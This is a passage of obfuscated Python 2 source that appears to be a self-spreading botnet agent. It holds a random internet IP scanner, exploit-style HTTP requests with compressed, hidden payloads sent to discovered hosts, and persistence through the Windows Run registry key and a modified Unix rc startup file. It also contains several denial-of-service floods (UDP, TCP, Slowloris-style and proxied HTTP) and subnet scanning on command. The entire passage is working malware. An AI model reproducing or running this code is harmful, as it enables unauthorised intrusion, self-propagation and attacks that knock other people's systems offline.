            urllib2.urlopen(urllib2.Request(url + alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xcd\x51\xef\x22\xd1\x22\xa4\xb7\x3d\xea\xdc\x33\xa7\x56\x17\x93\x79\xf7\xb4\xb6\x46\x65\xc7\x44\x4c\x0d\xca\x5b\x1d\x75\xe0\x99\xeb\xda\x48\xe5\x29\x73\x14\x97\x09\x59\xcb\x7a\x1c\x12\xad\x5c\xeb\x37\xe9\x8b\x53\xa3\x9f\x49\x1f\x92\x2a\xf7\x73\xcf\xa3\xda\xa3\x93\xcf\xcf\xa9\xdc\xe8\x98\x2f\xea\x71\xd4\xdf\xee\x67\xe4\xa9\xc5\xac\x6b\xfd\x95\x67\x4e\x57\xd8\x28\x64\xe3\xe8\x71\xd4\xaf\x72\x95\x04\x00\xc8\x96\x2f\x04")) + xghgYBJm +alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xc8\x6a\x13\x13\x7f\x2e\x28\xff\x17\xcf\xc1\x2f\x31\xd3\xf9\x8a\x67\xdc\x2d\x7b\xee\x5c\xce\xc9\x71\xc9\xc9\x62\xa9\xfb\xb9\xe7\x51\xed\xd1\x00\x20\x6c\x10\x72")), data=urllib.urlencode(bhoILdmAuuV), headers={alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x74\xc9\xe6\x76\xd8\x26\x60\xf9\x2d\x0e\x00\x13\x60\x03\xcf")) : oLFciXzDHoq}), context=self.ctx)
        except:
            pass
        uXuiQbwOvIBO=self.SFdFSJzo(8)
        try:
            cWbTCmkaLd = {
                alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x12\x96\x29\x03\x00\x04\x84\x01\x80")) : alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe6\x97\x24\x20\xd7\x2c\x6a\xfc\x00\x00\x10\x14\x03\x40")),
                alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x13\x51\xcb\x6b\x34\x5b\x4e\xff\x0d\x00\x12\x28\x03\xa5")) : alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xca\x6a\x19\x1e\x7b\xd3\xbd\x68\x25\x00\x13\x6e\x04\x13")),
                alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x91\x28\x6a\x34\x5b\x4e\xff\x0d\x00\x10\x98\x03\x75")) : alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xed\x5e\x23\xc6\x77\x83\xc5\xf2\x8b\x4f\xc3\x87\xf8\x16\x27\x93\xa9\xd3\x00\x4c\xce\x08\x2c")),
                alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x99\xcc\x69\x34\x45\xc2\x10\x00\x0d\x13\x02\x7c")) : "aze",
                alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x99\xcc\x69\xd4\x28\xa4\xf7\xda\xf9\xc0\x6f\x00\x1d\x3b\x05\x49")) : "2c",
                alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x19\x97\xa0\x26\x3b\x83\x55\x03\x00\x0d\xce\x02\x80")) : "1",
                alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x19\x56\xa6\x26\x3b\x83\x55\x03\x00\x0e\x1a\x02\x8e")) : alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xca\x6e\xe3\x0b\x00\x04\x72\x01\x76")),
                alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xe8\x92\xcd\xcd\x3c\x4d\xca\x12\x00\x0b\xe0\x02\x48")) : "",
                alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x12\x56\xcb\x25\x35\x83\xd5\x02\x00\x0d\x14\x02\x71")) : "",
                alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x99\xcc\x69\x34\x8d\x49\xe3\x43\xe9\xfd\xe7\x71\x6d\x2e\xaa\x53\xa7\x00\x00\x47\x6f\x08\x00")) : "MD5",
                alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x99\xcc\x69\xd4\xce\x6a\xfa\xae\xf4\xfe\x17\xa7\xc6\x68\xbd\x8e\x99\xe6\x1b\x01\x58\x6c\x08\xeb")) : "",
                alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x99\xcc\x69\xd4\xce\x6a\xfa\xae\xf4\xfe\xf3\xb8\x36\x17\xd5\xa9\x53\x00\x47\x4b\x07\xff")) : "",
                alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x1e\x99\xcc\x69\x34\x45\xc2\xe8\x8d\xff\xf5\x87\x00\x1e\x34\x05\x70")) : ""
            }
            urllib2.urlopen(urllib2.Request(url + alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x1d\x95\x28\x2b\x31\x5b\xa8\xf8\x8d\xeb\x81\x9f\x79\x93\xdd\xb5\xae\x76\x2b\xee\x08\xca\xe5\x35\x6a\x96\x30\xfe\xc2\x72\xff\xaf\xe3\x15\x00\x00\x07\x0f\x56"))+uXuiQbwOvIBO+"="+xghgYBJm, data=urllib.urlencode(cWbTCmkaLd), headers={alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x74\xc9\xe6\x76\xd8\x26\x60\xf9\x2d\x0e\x00\x13\x60\x03\xcf")) : alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xc1\x51\x27\x28\x7b\x5d\x48\xeb\xa7\x5b\xfb\xf7\x80\x46\xbf\x82\x73\xcb\x15\x36\x86\x24\xca\x72\xdc\x0f\x66\xbe\x9f\xff\xfb\x1c\x00\xd9\x44\x0e\x68")) + uXuiQbwOvIBO + alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\x94\x53\x77\xf2\x3d\xe1\x09\x00\x09\x05\x02\x6f"))}), context=self.ctx)
        except:
            pass
        try:
            LqggLdzsav=self.SFdFSJzo(random.randint(4,8))
            urllib2.urlopen(urllib2.Request(url+alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x1d\x56\xcd\xcb\x7a\x83\xd5\xf2\x65\xfc\xa9\x67\xae\x0d\x7e\xa6\xf3\x7b\x92\x00\x57\x5a\x08\xc2"))+uXuiQbwOvIBO+"="+xghgYBJm, data="{" + '"' + alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xea\x54\x25\x08\x00\x04\xa3\x01\x83")) + '"' + ":{" + '"' + alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xe8\x92\xcd\x0d\x00\x04\x35\x01\x5c")) + '"' + ": " + '"' + "" + LqggLdzsav + alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x2c\x99\xcd\xcf\x33\x3b\xde\xee\x67\xe4\xa9\xc5\xac\x6b\xfd\x95\x67\x4e\x57\xd8\x28\xaf\xa5\xa6\xb5\x49\x99\x1d\x00\x9b\xa8\x0a\x24")) + uXuiQbwOvIBO +alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\x94\x53\x0f\xf7\x02\x00\x04\x97\x01\x70")) + '"' + "}}",headers={alAcOFNUwaW(zlib.decompress("\x78\x9c\x9b\x1e\x91\xc0\xcb\x31\x93\xb9\xf0\x4c\xf0\xfd\x0f\x00\x1c\xaa\x05\x60")): alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xea\x5e\x27\xca\x32\x45\x4c\xe3\xa3\xeb\xc1\x5d\xd1\x8d\x2e\x1a\x07\x6f\xa8\xef\x09\xab\xe1\xe2\x68\xf6\xe2\x3c\x93\xd3\xb4\x16\x00\xcb\xc2\x0c\xfc")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x74\xc9\xe6\x76\xd8\x26\x60\xf9\x2d\x0e\x00\x13\x60\x03\xcf")) :  oLFciXzDHoq, alAcOFNUwaW(zlib.decompress("\x78\x9c\x9b\xed\x9a\x29\xc0\x0c\x00\x05\x7e\x01\x5d")): url}), context=self.ctx)
        except:
            pass
        try:
            urllib2.urlopen(urllib2.Request(url+alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x1d\x90\x2e\xca\x73\xc3\xc3\x7e\xa9\xf7\xe9\x1f\x11\x73\x00\x30\x51\x06\xda")), headers={alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x74\xc9\xe6\x76\xd8\x26\x60\xf9\x2d\x0e\x00\x13\x60\x03\xcf")): alAcOFNUwaW(zlib.decompress("\x78\x9c\x7b\xc1\x51\x27\x28\x7b\x5d\x48\xeb\xa7\x5b\xfb\xf7\x80\x46\xbf\x82\x73\xcb\x15\x36\x86\x24\xca\x72\xdc\x0f\x05\x00\x99\x24\x0b\x50")) + xghgYBJm + alAcOFNUwaW(zlib.decompress("\x78\x9c\x01\x29\x00\xd6\xff\xf6\x1e\x27\x42\x4d\x9e\x19\x3f\xf4\x5f\xcb\xf0\x11\xd0\x58\x34\x99\xa4\x27\xbb\x45\x6b\x25\x0f\x98\x18\x28\xeb\x5e\xdd\xf4\x41\xdc\x5b\x2e\x8a\xda\x7f\xf4\x08\x30\x83\x87\x12\xe6")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x9b\x1e\x91\x28\xc4\x32\x09\x00\x07\x9c\x01\xf9")): alAcOFNUwaW(zlib.decompress("\x78\x9c\x9b\x9c\xe2\xad\x65\xb7\xcf\x42\xe8\x62\xde\xa4\xdd\xf2\x77\x59\x33\xae\x4e\xd4\xda\x10\x54\x16\x2e\x3b\x9f\x1d\x00\x94\xab\x0a\xca"))}), context=self.ctx)
            urllib2.urlopen(urllib2.Request(url+alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x1d\x90\x2e\xca\x73\x43\xce\xe8\x8f\xff\xf5\xdd\x8e\xb3\xa2\x01\x37\x1c\x07\x0f")), headers={alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x74\xc9\xe6\x76\xd8\x26\x60\xf9\x2d\x0e\x00\x13\x60\x03\xcf")) :  oLFciXzDHoq}), context=self.ctx)
        except:
            pass
        try:
            urllib2.urlopen(urllib2.Request(url+alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x1d\x96\xcb\xcb\x32\x43\x52\x7f\xbb\xf7\xad\x87\x91\xd3\x5d\x8d\x26\xcf\x56\x5d\x10\xa4\xc0\xc9\xda\x0e\x00\x88\xed\x09\xce")), data=urllib.urlencode({alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xe8\x92\xcd\x0d\x00\x04\x35\x01\x5c")): alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x54\xcb\x0b\x00\x04\x81\x01\x7d")) + '"' + alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x14\x9a\xcf\xc5\x7a\x3d\xca\x74\x87\x48\xe7\x56\xb9\x69\x7e\x06\x57\x7b\xd4\x97\x48\x00\x00\x61\xe0\x08\xac")) + fqcOyPdmHAJU + alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\xcd\x67\xee\x10\x72\xdd\x3d\x69\x9f\x34\x00\x17\xd2\x04\x2e")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xe2\x52\x29\x0b\x00\x04\x6f\x01\x7f")): alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\x10\x54\xcb\x0b\x00\x04\x81\x01\x7d"))}), headers={alAcOFNUwaW(zlib.decompress("\x78\x9c\x9b\x1e\x91\xc0\xcb\x31\x93\xb9\xf0\x4c\xf0\xfd\x0f\x00\x1c\xaa\x05\x60")): alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xea\x5e\x27\xca\x32\x45\x4c\xe3\xa3\xeb\xc1\x5d\xd1\x8d\x2e\x1a\x00\x35\x80\x06\x5f")), alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x74\xc9\xe6\x76\xd8\x26\x60\xf9\x2d\x0e\x00\x13\x60\x03\xcf")) :  oLFciXzDHoq}), context=self.ctx)
        except:
            pass
        try:
            self.scanips.remove(aZhkdmcRd)
        except:
            pass
    def OdoPuCkhJox(self):
        iNkDKNZcWhb = [10,127,169,172,192,233,234]
        ZKRXpaGqAsog = random.randrange(1,256)
        while ZKRXpaGqAsog in iNkDKNZcWhb:
            ZKRXpaGqAsog = random.randrange(1,256)
        ip = ".".join([str(ZKRXpaGqAsog),str(random.randrange(1,256)),
        str(random.randrange(1,256)),str(random.randrange(1,256))])
        return ip
    def aTlkUxoajVKw(self):
        while True:
            while self.scannerenabled==0:
                time.sleep(1)
            aZhkdmcRd = self.OdoPuCkhJox()
            self.scanips.append(aZhkdmcRd)
            for hloiIzkq in VkaxyBho:
                try:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.settimeout(0.5)
                    s.connect((aZhkdmcRd, hloiIzkq))
                    s.close()
                    self.xJibnhHhdPb(aZhkdmcRd, hloiIzkq)
                except:
                    pass
    def TCaaSyVcx(self):
        if os.name == 'nt':
            try:
                aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
                aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
                aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
                SetValueEx(aKey,alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\xf7\xab\xe5\xe5\x98\x15\x6e\xf9\x20\xea\xf0\x2f\xe7\xe9\x00\x29\xeb\x06\x63")),0, REG_SZ, os.getenv(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x4c\xf1\xd6\xb6\x5d\x6a\x21\x75\x31\xed\x15\x00\x18\xab\x04\xb1"))) + alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\x10\xb6\x70\x8c\x3f\x17\x69\xf9\xc0\xbf\x1f\x00\x18\x7c\x04\x92")) + os.path.r)
                windll.kernel32.SetFileAttributesW(os.getenv(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x4c\xf1\xd6\xb6\x5d\x6a\x21\x75\x31\xed\x15\x00\x18\xab\x04\xb1"))) + alAcOFNUwaW(zlib.decompress("\x78\x9c\xeb\x10\xb6\x70\x8c\x3f\x17\x69\xf9\xc0\x1f\x00\x13\xea\x04\x03")), FILE_ATTRIBUTE_HIDDEN)
            except:
                pass
            return
        else:
            try:
                imsnICzJqkw=open(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\xd4\x2a\xa4\xff\xdd\xed\xe6\xee\xa0\xb9\xae\x0a\x00\x3d\xde\x07\x0f")), "w")
                imsnICzJqkw.write(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x15\x96\x2c\x23\x37\x89\x55\xeb\x6f\x44\xff\x12\xf9\xc3\xac\xe5\x57\x4e\xfa\xed\x42\x16\x3a\xc4\x5a\x06\x14\x02\x00\x35\x84\x10\x7d")))
                imsnICzJqkw.close()
                rc=open(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\xd4\x2a\x52\xf4\xc5\xf5\xcc\x97\x58\x00\x2b\x19\x06\x85")),"rb")
                data=rc.read()
                rc.close()
                if alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x16\x91\xc8\x0b\x00\x04\xb3\x01\x7d")) not in data:
                    with open(adeaNPjj, 'rb') as HNzhBXCKV, open(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\x34\x55\xc2\xf8\x0d\x00\x14\x96\x03\xf0")), 'wb') as mVekxMZJOSg:
                        while True:
                            ZeIWQAAK = HNzhBXCKV.read(1024*1024)
                            if not ZeIWQAAK:
                                break
                            mVekxMZJOSg.write(ZeIWQAAK)
                    os.chmod(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\x34\x55\xc2\xf8\x0d\x00\x14\x96\x03\xf0")), 777)
                    rc=open(alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\xd4\x2a\x52\xf4\xc5\xf5\xcc\x97\x58\x00\x2b\x19\x06\x85")),"wb")
                    if alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe8\x9f\xce\x0b\x00\x04\x90\x01\x75")) in data:
                        rc.write(data.replace(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe8\x9f\xce\x0b\x00\x04\x90\x01\x75")), alAcOFNUwaW(zlib.decompress("\x78\x9c\xfb\x1d\x54\x25\xe5\x34\x55\xc2\xf8\x8d\xc2\xa9\xb7\x11\x6d\x00\x30\x0b\x06\xa5"))))
                    else:
                        rc.write(alAcOFNUwaW(zlib.decompress("\x78\x9c\xbb\x27\x91\xcd\xcb\x77\x43\xd4\xf8\x7b\x1c\x00\x15\x06\x03\xf2")))    
                    rc.close()
            except:
                pass
    def cWxYoJcjO(self,owKaOgAEA,nsRpHajUCu,jdaBLxfHkak):   
        if str(nsRpHajUCu).startswith("0"):
            vkAkcywdsadi=os.urandom(random.randint(1024,65507))
        else:
            vkAkcywdsadi="\xff"*65507
        CEiKEadkWbP=time.time()+jdaBLxfHkak
        self.gLsaWmlh=0
        while CEiKEadkWbP>time.time():
            if self.AELmEnMe == 1:
                break
            try:
                JOPDkhoLwd=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
                if nsRpHajUCu==0:
                    JOPDkhoLwd.sendto(vkAkcywdsadi,(owKaOgAEA, random.randrange(1,65535)))
                else:
                    JOPDkhoLwd.sendto(vkAkcywdsadi,(owKaOgAEA, nsRpHajUCu))
                self.gLsaWmlh+=1
            except:
                pass
        self.gLsaWmlh=0
    def jciYmoXa(self,wgjnRbiCK,nsRpHajUCu,jdaBLxfHkak):
        CEiKEadkWbP=time.time()+jdaBLxfHkak
        while CEiKEadkWbP>time.time():
            if self.AELmEnMe == 1:
                return
            try:
                JOPDkhoLwd=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                JOPDkhoLwd.connect((wgjnRbiCK, nsRpHajUCu))
                self.gLsaWmlh+=1
            except:
                pass
        self.gLsaWmlh=0
    def HwxhCsCKqEok(self,wgjnRbiCK,nsRpHajUCu,jdaBLxfHkak):
        CEiKEadkWbP=time.time()+jdaBLxfHkak
        while CEiKEadkWbP>time.time():
            if self.AELmEnMe == 1:
                return
            try:
                JOPDkhoLwd=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
                JOPDkhoLwd.connect((wgjnRbiCK, nsRpHajUCu))
                JOPDkhoLwd.send(os.urandom(ramom.randint(1024, 65535)))
                JOPDkhoLwd.close()
                self.gLsaWmlh+=1
            except:
                pass
        self.gLsaWmlh=0
    def WvGZLPhLB(self,PgihNRWHTs, USGiyxiKdWM, Jhoaolla, jdaBLxfHkak):
        CEiKEadkWbP=time.time()+jdaBLxfHkak
        self.gLsaWmlh = 0
        fds = []
        for hNhqJviYmaeZ in xrange(0, int(Jhoaolla)):
            fds.append(0)
        while 1:
            if self.AELmEnMe == 1:
                break
            for hNhqJviYmaeZ in xrange(0, int(Jhoaolla)):
                if self.AELmEnMe == 1:
                    break
                fds[hNhqJviYmaeZ] = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                try:
                    fds[hNhqJviYmaeZ].connect((PgihNRWHTs, int(USGiyxiKdWM)))
                except:
                    pass
            xwNHwaiLKKhw = "GET / HTTP/1.1\nHost: %s:%s\nUser-agent: %s\nAccept: */*\nConnection: Keep-Alive\n\n" % (PgihNRWHTs, USGiyxiKdWM, random.choice(self.GbASkEbE))
            for PKoVNUFJaKL in xwNHwaiLKKhw:
                if self.AELmEnMe == 1:
                    break
                for fd in fds:
                    try:
                        fd.send(PKoVNUFJaKL)
                        self.gLsaWmlh+=1
                    except:
                        try:
                            fd.connect((PgihNRWHTs, int(USGiyxiKdWM)))
                        except:
                            pass
                if CEiKEadkWbP<time.time():
                    for fd in fds:
                        try:
                            fd.close()
                        except:
                            pass
                    return
                time.sleep(1)
                self.gLsaWmlh = 0
        self.gLsaWmlh=0
    def JbjPYaQWoW(self,qxDQwvoSi):
        try:
            req = urllib2.Request(qxDQwvoSi)
            req.add_header(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x74\xc9\xe6\x76\xd8\x26\x60\xf9\x2d\x0e\x00\x13\x60\x03\xcf")), random.choice(self.GbASkEbE))
            return urllib2.urlopen(req).read()
        except:
            return ""
    def wohFHaIndiao(self,qxDQwvoSi):
        global TaIQaFRwizyh
        try:
            NiyMnWhfz = random.choice(TaIQaFRwizyh)
            ss=socks.socksocket()
            ss.setproxy(socks.PROXY_TYPE_SOCKS5, NiyMnWhfz.split(":")[0], int(NiyMnWhfz.split(":")[1]), True)
            ss.connect((qxDQwvoSi.split("//")[-1].split("/")[0].split('?')[0], 80))
            ss.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x9b\x5c\x14\x15\x09\x00\x04\xb3\x01\xb9")) + "/"+"/".join(qxDQwvoSi.split("://")[1].split("/")[1:]) + " HTTP/1.1\nHost: %s:%s\nUser-agent: %s\nAccept: */*\nConnection: Keep-Alive\n\n")
            x=cvXzuZyciJiY(ss, 1024*1024, 1)
            ss.close()
            x=alAcOFNUwaW(zlib.decompress("\x78\x9c\xbb\x69\xcb\x5c\x0c\x00\x04\x98\x01\x8d")).join(x.split(alAcOFNUwaW(zlib.decompress("\x78\x9c\xbb\x69\xcb\x5c\x0c\x00\x04\x98\x01\x8d")))[1:])
            x=alAcOFNUwaW(zlib.decompress("\x78\x9c\xbb\x67\x0b\x00\x01\xfb\x01\x1c")).join(x.split(alAcOFNUwaW(zlib.decompress("\x78\x9c\xbb\x67\x0b\x00\x01\xfb\x01\x1c")))[1:])
            return x
        except:
            return ""
    def GQhZcbHf(self,url,LbxEuioZThBw,jdaBLxfHkak):
        if LbxEuioZThBw==alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xe0\x5a\x2d\x03\x00\x04\x65\x01\x7d")) or LbxEuioZThBw == 1:
            CEiKEadkWbP=time.time()+jdaBLxfHkak
            lHHhpRjK=alAcOFNUwaW(zlib.decompress('\x78\x9c\xab\xe1\x70\xf0\xd3\xcf\xe5\x95\xd6\x75\x4d\xb0\xf2\x94\x95\x2a\x74\x35\x01\x00\x29\x49\x04\x4d'))
            while CEiKEadkWbP>time.time():
                if self.AELmEnMe == 1:
                    break
                for hsuiUjVZXfK in re.findall(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe3\x9a\x2d\x0f\x00\x04\xb8\x01\x8c"))+lHHhpRjK,self.JbjPYaQWoW(url), re.I):
                    if self.AELmEnMe == 1:
                        break
                    self.JbjPYaQWoW(hsuiUjVZXfK)
                for hsuiUjVZXfK in re.findall('src'+lHHhpRjK,self.JbjPYaQWoW(url), re.I):
                    if self.AELmEnMe == 1:
                        break
                    self.JbjPYaQWoW(hsuiUjVZXfK)
        else:
            CEiKEadkWbP=time.time()+jdaBLxfHkak
            while CEiKEadkWbP>time.time():
                if self.AELmEnMe == 1:
                    break
                self.JbjPYaQWoW(url)
    def dNjhppuSu(self,url,LbxEuioZThBw,jdaBLxfHkak):
        if LbxEuioZThBw==alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xe0\x5a\x2d\x03\x00\x04\x65\x01\x7d")) or LbxEuioZThBw == 1:
            CEiKEadkWbP=time.time()+jdaBLxfHkak
            lHHhpRjK=alAcOFNUwaW(zlib.decompress('\x78\x9c\xab\xe1\x70\xf0\xd3\xcf\xe5\x95\xd6\x75\x4d\xb0\xf2\x94\x95\x2a\x74\x35\x01\x00\x29\x49\x04\x4d'))
            while CEiKEadkWbP>time.time():
                if self.AELmEnMe == 1:
                    break
                for hsuiUjVZXfK in re.findall(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe3\x9a\x2d\x0f\x00\x04\xb8\x01\x8c"))+lHHhpRjK,self.wohFHaIndiao(url), re.I):
                    if self.AELmEnMe == 1:
                        break
                    self.wohFHaIndiao(hsuiUjVZXfK)
                for hsuiUjVZXfK in re.findall('src'+lHHhpRjK,self.wohFHaIndiao(url), re.I):
                    if self.AELmEnMe == 1:
                        break
                    self.wohFHaIndiao(hsuiUjVZXfK)
        else:
            CEiKEadkWbP=time.time()+jdaBLxfHkak
            while CEiKEadkWbP>time.time():
                if self.AELmEnMe == 1:
                    break
                self.wohFHaIndiao(url)
    def DjoDQcoXXo(self,DyYPcaoW,hloiIzkq,ROkijyoNWojN):
        self.VSoeKsdv += 1
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(0.5)
            s.connect((DyYPcaoW, hloiIzkq))
            s.close()
            self.xJibnhHhdPbstats[hpThdcol][1] += 1
            if ROkijyoNWojN == alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xe0\x5a\x2d\x03\x00\x04\x65\x01\x7d")) or ROkijyoNWojN == "yes" or ROkijyoNWojN == "1":
                self.xJibnhHhdPb(DyYPcaoW,hloiIzkq)
        except:
            pass
        self.VSoeKsdv -= 1
    def BGjiMknf(self,DyYPcaoW,nsRpHajUCu,ROkijyoNWojN,hpThdcol):
        global VkaxyBho
        FySWRkcUaL = 0
        self.VSoeKsdv += 1
        try:
            if nsRpHajUCu == alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x1a\x9d\xc4\xc9\xd4\xca\xac\x0f\x00\x0c\x72\x02\x35")):
                for hloiIzkq in VkaxyBho:
                    threading.Thread(target=self.DjoDQcoXXo, args=(DyYPcaoW,hloiIzkq,ROkijyoNWojN,)).start()
            else:
                self.DjoDQcoXXo(DyYPcaoW,nsRpHajUCu,ROkijyoNWojN)
        except:
            pass
        if FySWRkcUaL == 1:
            self.xJibnhHhdPbstats[hpThdcol][1] += 1
        self.xJibnhHhdPbstats[hpThdcol][0] += 1
        self.VSoeKsdv -= 1
    def hXhlSfFUmv(self):
        myip=alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x8c\x4c\x15\x67\x6a\x90\x04\x00\x09\x18\x01\xf2"))
        try:
            myip=urllib2.urlopen(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe3\x5c\xc5\x29\x77\x36\xa2\xf8\x67\xd4\xb1\xdd\x11\x4d\x4e\x0a\xcd\xd7\xb4\x97\x05\x28\x02\x00\x74\xf8\x09\xe4"))).read()
        except:
            try:
                myip=urllib2.urlopen(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe3\x5c\xc5\x19\x7e\x23\xc2\xf4\x85\xf3\xc1\xcf\x71\x77\x9c\x34\xaf\x4e\x34\x01\x00\x5b\xb8\x09\x5d"))).read()
            except:
                try:
                    myip=urllib2.urlopen(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe3\x5c\xc5\x29\x77\x36\xa2\xf8\x7d\xec\x8d\xdd\xae\x0d\x5e\xaa\x13\x27\x9a\xfc\x8a\xcc\xe6\x75\x9a\xc7\x0e\x00\xa1\x32\x0b\x54"))).read()
                except:
                    try:
                        myip=urllib2.urlopen(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe3\x5c\xc5\x19\x7e\x23\xc2\xf4\x9f\xe7\x81\xdf\xe1\xb3\x7d\x32\xa6\xcf\xcd\x06\x00\x5c\x29\x09\x86"))).read()
                    except:
                        try:
                            myip=urllib2.urlopen(alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\xe3\x5c\xc5\x19\x7e\x23\xc2\xf4\xb7\xf7\xc1\xbf\x01\x1d\x4e\x66\x57\x66\x6b\xef\x94\x00\x00\x6e\xef\x09\xfe"))).read().replace("\n","")
                        except:
                            pass
        return myip
    def olvhVyqLq(self,hpThdcol,nsRpHajUCu,ROkijyoNWojN):
        try:
            if hpThdcol == alAcOFNUwaW(zlib.decompress("\x78\x9c\xdb\x15\x94\xcf\xcd\x30\x09\x00\x08\x6b\x02\x19")):
                uFeTllpRKqV=self.hXhlSfFUmv()
                if uFeTllpRKqV!=None:
                    hpThdcol=uFeTllpRKqV+"/16"
            elif hpThdcol == "lan":
                hpThdcol=haaSHFdpgmw+"/16"
        except:
            self.AbJppCRv.send(alAcOFNUwaW(zlib.decompress("\x78\x9c\x6b\x49\x75\xd7\x57\x58\x62\x50\xb3\x37\xb2\x7f\x7d\xf9\x64\x27\xad\xf9\x73\x52\x16\x44\xe8\xc9\xc9\x4f\x13\xad\xb9\x58\xb5\x14\x00\xc0\x01\x0c\xb3")) % (self.AJEwioE))
            return
        (ghhYAhKscoHy, hHpoGbMZoXyk) = hpThdcol.split('/')
        fcORdogBQiZv = ghhYAhKscoHy.split('.')
        leLQhcjUo = int(hHpoGbMZoXyk)
        FccohWqomw = [0, 0, 0, 0]
        for i in range(leLQhcjUo):
            FccohWqomw[i/8] = FccohWqomw[i/8] + (1 << (7 - i % 8))
        DjfTzhsDC = []
        for i in range(4):
            DjfTzhsDC.append(int(fcORdogBQiZv[i]) & FccohWqomw[i])
        khyxoBRmak = list(DjfTzhsDC)
        adaZioEi = 32 - leLQhcjUo
        for i in range(adaZioEi):
            khyxoBRmak[3 - i/8] = khyxoBRmak[3 - i/8] + (1 << (i % 8))
        LwdkWxlicJ = ".".join(map(str, FccohWqomw))
        oiKTMhUPaKbK = ".".join(map(str, DjfTzhsDC))
        BbzTacjWG = ".".join(map(str, khyxoBRmak))
        cnxBCWDSoe = struct.unpack('>I', socket.inet_aton(".".join(map(str, DjfTzhsDC))))[0]
        wkLUMXoc = struct.unpack('>I', socket.inet_aton(".".join(map(str, khyxoBRmak))))[0]
        ROkijyoNWojN = ROkijyoNWojN.lower()
        if ROkijyoNWojN == alAcOFNUwaW(zlib.decompress("\x78\x9c\x5b\xe0\x5a\x2d\x03\x00\x04\x65\x01\x7d")) or ROkijyoNWojN == "yes" or ROkijyoNWojN == "1":
